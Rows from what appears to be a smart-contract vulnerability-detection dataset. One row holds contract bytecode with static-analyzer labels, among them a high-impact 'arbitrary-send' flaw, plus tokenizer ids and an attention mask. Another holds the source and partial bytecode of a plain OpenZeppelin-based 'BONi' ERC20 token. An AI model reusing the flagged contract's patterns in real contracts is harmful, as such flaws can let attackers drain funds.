a0416151560808401526002840180546001600160801b0380821660a08701908152600160801b909204811660c087015260038701805460e08801529a8a526001600160e01b03199094169095556001600160e81b0319909916905596859055948490556017909252909120549051919290911680612eb95760405162461bcd60e51b815260206004820152601760248201527f4e6f2061637469766520636c61696d20726571756573740000000000000000006044820152606401610c37565b8260e001518614612efb5760405162461bcd60e51b815260206004820152600c60248201526b27b930b1b6329032b93937b960a11b6044820152606401610c37565b60008083881061306d5784516001600160401b0316600080612f1c89611fe0565b91509150612f3b83878a60c001516001600160801b03168d85876132f8565b90955093508315612f7657612f5084886141a6565b6001600160a01b038d16600090815260176020526040902055612f7384876141a6565b95505b600083815260166020526040902054851115612fd45760405162461bcd60e51b815260206004820152601760248201527f4e6f7420656e6f75676820546f74616c20537570706c790000000000000000006044820152606401610c37565b600083815260166020526040902054612fee9086906141a6565b60008481526016602052604090205560808801511561303c5760008381526014602090815260409182902054918a0151908a0151613037926001600160a01b0316919088613759565b613065565b600083815260146020526040908190205490890151613065916001600160a01b031690876132d1565b505050613096565b61307783856141a6565b6001600160a01b038a1660009081526017602052604081209190915592505b606080860151608080880151604080516001600160401b0390941684526020840187905283018790521515928201929092526001600160a01b038b16917f6ed391c0e4aedeb8c0f1b1723745030b0d6ce1c087b17c58035fa842dce1b892910160405180910390a2505050505050505050565b6000604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528260601b60148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f09150506001600160a01b038116610ccf5760405162461bcd60e51b8152602060048201526016602482015275115490cc4c4d8dce8818dc99585d194819985a5b195960521b6044820152606401610c37565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291516000928392908816916132059190613f14565b6000604051808303816000865af19150503d8060008114613242576040519150601f19603f3d011682016040523d82523d6000602084013e613247565b606091505b50915091508180156132715750805115806132715750808060200190518101906132719190613ea3565b6132c95760405162461bcd60e51b8152602060048201526024808201527f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f46416044820152631253115160e21b6064820152608401610c37565b505050505050565b60096001600160a01b03841610156132ed57612d8f8282612cc6565b612d8f8383836138fa565b60008061334d6040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b031681525090565b600089815260146020908152604080832080546001909101546001600160a01b039182168086526012948590528386205491909216808652929094205490939192829061339b908390614062565b6133a591906141a6565b6133b090600a6140df565b8552806133be836012614062565b6133c891906141a6565b6133d390600a6140df565b60208601526133e58484600080611f7f565b6001600160a01b031660a08601526134008385600080611f7f565b6001600160a01b0390811660c0870190815260a08701518216600090815260176020818152604080842054818c01529351909416825290925290205461344590611fe0565b60608701526080860152505050604082015186101590506134b75760405162461bcd60e51b815260206004820152602660248201527f4e61746976655370656e742062616c616e636520686967686572207468656e2060448201526572656d6f746560d01b6064820152608401610c37565b60008160400151866134c991906141a6565b905080156135625760008583602001518b6134e49190614187565b6134ee919061407a565b9050818111613503578094506000995061352f565b819450826020015186838361351891906141a6565b6135229190614187565b61352c919061407a565b99505b60a08301516001600160a01b03166000908152601760205260408120805487929061355b908490614062565b9091555050505b506000898152601660205260409020548311156135c15760405162461bcd60e51b815260206004820152601c60248201527f4552523a204e6f7420656e6f75676820546f74616c20537570706c79000000006044820152606401610c37565b871561374d5780516000906135d6898b614187565b6135e0919061407a565b90506135ec8185614062565b60008b815260166020526040902054101561364f5760008a81526016602052604090205461361b9085906141a6565b8251909150889061362c9083614187565b613636919061407a565b613640908a6141a6565b925061364c838a6141a6565b98505b6136598185614062565b935086826060015110156136be5760405162461bcd60e51b815260206004820152602660248201527f466f726569676e5370656e742062616c616e636520686967686572207468656e604482015265081b1bd8d85b60d21b6064820152608401610c37565b60008783606001516136d091906141a6565b90508015613714576136e28a82614062565b83516136ee9084614187565b60808501516136fd9084614187565b6137079190614062565b613711919061407a565b98505b61372d898b85606001516137289190614062565b613a0e565b60c08401516001600160a01b031660009081526017602052604090205550505b50965096945050505050565b60096001600160a01b03851610156137ee576040516328c2a10b60e21b81526001600160a01b03838116600483015284169063a30a842c9083906024016020604051808303818588803b1580156137af57600080fd5b505af11580156137c3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906137e89190613ea3565b50611e3b565b60405163095ea7b360e01b81526001600160a01b0384811660048301526024820183905285169063095ea7b390604401602060405180830381600087803b15801561383857600080fd5b505af115801561384c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138709190613ea3565b506040516331c341eb60e01b81526001600160a01b038416906331c341eb906138a190879085908790600401613fab565b602060405180830381600087803b1580156138bb57600080fd5b505af11580156138cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138f39190613ea3565b5050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916139569190613f14565b6000604051808303816000865af19150503d8060008114613993576040519150601f19603f3d011682016040523d82523d6000602084013e613998565b606091505b50915091508180156139c25750805115806139c25750808060200190518101906139c29190613ea3565b6138f35760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610c37565b6000600160801b8210613a555760405162461bcd60e51b815260206004820152600f60248201526e416d6f756e74206f766572666c6f7760881b6044820152606401610c37565b600160801b8310613a985760405162461bcd60e51b815260206004820152600d60248201526c52617465206f766572666c6f7760981b6044820152606401610c37565b81613aa7600160801b85614187565b613ab19190614062565b9392505050565b80356001600160801b0381168114610ccf57600080fd5b600060208284031215613ae157600080fd5b8135613ab181614204565b600060208284031215613afe57600080fd5b8151613ab181614204565b60008060408385031215613b1c57600080fd5b8235613b2781614204565b91506020830135613b3781614204565b809150509250929050565b60008060008060808587031215613b5857600080fd5b8435613b6381614204565b93506020850135613b7381614204565b92506040850135613b8381614204565b91506060850135613b9381614204565b939692955090935050565b600080600080600080600080610100898b031215613bbb57600080fd5b8835613bc681614204565b97506020890135613bd681614204565b96506040890135613be681614204565b95506060890135613bf681614204565b94506080890135613c068161421c565b9350613c1460a08a01613ab8565b9250613c2260c08a01613ab8565b915060e089013590509295985092959890939650565b600080600080600060a08688031215613c5057600080fd5b8535613c5b81614204565b94506020860135613c6b81614204565b93506040860135613c7b81614204565b92506060860135613c8b81614204565b949793965091946080013592915050565b60008060008060808587031215613cb257600080fd5b8435613cbd81614204565b93506020850135613ccd81614204565b92506040850135613cdd81614204565b9396929550929360600135925050565b600080600080600080600080610100898b031215613d0a57600080fd5b8835613d1581614204565b97506020890135613d2581614204565b96506040890135613d3581614204565b9550606089013594506080890135613d4c81614204565b935060a0890135613d5c8161421c565b9250613d6a60c08a01613ab8565b9150613d7860e08a01613ab8565b90509295985092959890939650565b600080600080600060a08688031215613d9f57600080fd5b8535613daa81614204565b94506020860135613dba81614204565b9350613dc860408701613ab8565b9250613c8b60608701613ab8565b60008060408385031215613de957600080fd5b8235613df481614204565b91506020830135613b378161421c565b60008060408385031215613e1757600080fd5b8235613e2281614204565b946020939093013593505050565b60008060008060808587031215613e4657600080fd5b8435613e5181614204565b9350602085013592506040850135613cdd81614204565b60008060008060808587031215613e7e57600080fd5b8435613e8981614204565b966020860135965060408601359560600135945092505050565b600060208284031215613eb557600080fd5b8151613ab18161421c565b600060208284031215613ed257600080fd5b5035919050565b600060208284031215613eeb57600080fd5b5051919050565b60008060408385031215613f0557600080fd5b50508035926020909101359150565b6000825160005b81811015613f355760208186018101518583015201613f1b565b81811115613f44576000828501525b509190910192915050565b6001600160a01b038381168252604060208084018290528451918401829052600092858201929091906060860190855b81811015613f9d578551851683529483019491830191600101613f7f565b509098975050505050505050565b6001600160a01b0393841681526020810192909252909116604082015260600190565b60208082526018908201527f43616c6c6572206973206e6f74207468652073797374656d0000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600e908201526d14185a5c881b9bdd08195e1a5cdd60921b604082015260600190565b60008219821115614075576140756141d8565b500190565b60008261409757634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156140d75781600019048211156140bd576140bd6141d8565b808516156140ca57918102915b93841c93908002906140a1565b509250929050565b6000613ab183836000826140f557506001610d95565b8161410257506000610d95565b816001811461411857600281146141225761413e565b6001915050610d95565b60ff841115614133576141336141d8565b50506001821b610d95565b5060208310610133831016604e8410600b8410161715614161575081810a610d95565b61416b838361409c565b806000190482111561417f5761417f6141d8565b029392505050565b60008160001904831182151516156141a1576141a16141d8565b500290565b6000828210156141b8576141b86141d8565b500390565b60006000198214156141d1576141d16141d8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461421957600080fd5b50565b801515811461421957600080fdfea26469706673582212209aa58c9b7c11c61e725f3928d5a445ce9b37fe71b4ee61b963ab0c14fe94524f64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 11057, 23499, 6305, 2683, 2094, 2683, 22407, 2549, 2278, 2487, 2497, 2475, 4402, 12521, 2509, 2278, 25746, 2475, 9818, 2278, 23499, 2581, 2620, 2063, 20842, 2581, 2497, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 23533, 29378, 1012, 4012, 2006, 25682, 1011, 5718, 1011, 2756, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 2053, 6105, 1006, 3904, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 2393, 2121, 4725, 2005, 21935, 2007, 9413, 2278, 11387, 19204, 2015, 1998, 6016, 3802, 2232, 2008, 2079, 2025, 10862, 2709, 2995, 1013, 6270, 3075, 4651, 16001, 4842, 1063, 3853, 3647, 29098, 17597, 1006, 4769, 19204, 1010, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 4722, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,684
0x972abd9f94d68236eb9758eEeDd4993F475a0f90
// The BONi Token // ERC20 Ethereum platform token // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/BONi.sol contract BONi is ERC20, ERC20Burnable, Ownable { constructor() ERC20("BONi", "BONi") { _mint(msg.sender, 5000000 * 10 ** decimals()); } function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102a6578063a457c2d7146102c4578063a9059cbb146102f4578063dd62ed3e14610324578063f2fde38b146103545761010b565b806370a0823114610232578063715018a61461026257806379cc67901461026c5780638da5cb5b146102885761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806340c10f19146101fa57806342966c68146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610370565b60405161012591906117bc565b60405180910390f35b610148600480360381019061014391906114e5565b610402565b60405161015591906117a1565b60405180910390f35b610166610420565b604051610173919061197e565b60405180910390f35b61019660048036038101906101919190611496565b61042a565b6040516101a391906117a1565b60405180910390f35b6101b461052b565b6040516101c19190611999565b60405180910390f35b6101e460048036038101906101df91906114e5565b610534565b6040516101f191906117a1565b60405180910390f35b610214600480360381019061020f91906114e5565b6105e0565b005b610230600480360381019061022b9190611521565b61066a565b005b61024c60048036038101906102479190611431565b61067e565b604051610259919061197e565b60405180910390f35b61026a6106c6565b005b610286600480360381019061028191906114e5565b610803565b005b610290610887565b60405161029d9190611786565b60405180910390f35b6102ae6108b1565b6040516102bb91906117bc565b60405180910390f35b6102de60048036038101906102d991906114e5565b610943565b6040516102eb91906117a1565b60405180910390f35b61030e600480360381019061030991906114e5565b610a37565b60405161031b91906117a1565b60405180910390f35b61033e6004803603810190610339919061145a565b610a55565b60405161034b919061197e565b60405180910390f35b61036e60048036038101906103699190611431565b610adc565b005b60606003805461037f90611ae2565b80601f01602080910402602001604051908101604052809291908181526020018280546103ab90611ae2565b80156103f85780601f106103cd576101008083540402835291602001916103f8565b820191906000526020600020905b8154815290600101906020018083116103db57829003601f168201915b5050505050905090565b600061041661040f610c88565b8484610c90565b6001905092915050565b6000600254905090565b6000610437848484610e5b565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610482610c88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f99061187e565b60405180910390fd5b61051f8561050e610c88565b858461051a9190611a26565b610c90565b60019150509392505050565b60006012905090565b60006105d6610541610c88565b84846001600061054f610c88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105d191906119d0565b610c90565b6001905092915050565b6105e8610c88565b73ffffffffffffffffffffffffffffffffffffffff16610606610887565b73ffffffffffffffffffffffffffffffffffffffff161461065c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106539061189e565b60405180910390fd5b61066682826110da565b5050565b61067b610675610c88565b8261122e565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ce610c88565b73ffffffffffffffffffffffffffffffffffffffff166106ec610887565b73ffffffffffffffffffffffffffffffffffffffff1614610742576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107399061189e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061081683610811610c88565b610a55565b90508181101561085b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610852906118be565b60405180910390fd5b61087883610867610c88565b84846108739190611a26565b610c90565b610882838361122e565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108c090611ae2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ec90611ae2565b80156109395780601f1061090e57610100808354040283529160200191610939565b820191906000526020600020905b81548152906001019060200180831161091c57829003601f168201915b5050505050905090565b60008060016000610952610c88565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a069061193e565b60405180910390fd5b610a2c610a1a610c88565b858584610a279190611a26565b610c90565b600191505092915050565b6000610a4b610a44610c88565b8484610e5b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae4610c88565b73ffffffffffffffffffffffffffffffffffffffff16610b02610887565b73ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f9061189e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbf9061181e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf79061191e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d679061183e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e4e919061197e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ecb5